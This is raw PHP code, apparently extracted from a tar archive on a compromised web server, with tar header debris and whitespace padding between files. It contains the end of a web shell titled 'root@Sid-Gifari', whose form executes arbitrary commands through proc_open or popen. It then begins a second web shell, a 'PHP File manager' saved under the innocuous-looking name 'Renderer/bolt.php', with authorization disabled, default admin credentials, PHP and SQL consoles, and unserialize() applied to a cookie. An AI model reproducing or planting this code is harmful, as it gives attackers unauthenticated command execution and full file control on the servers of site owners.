                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer/bolt.php                                                                                   0000644                 00000232745 15217306007 0010001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
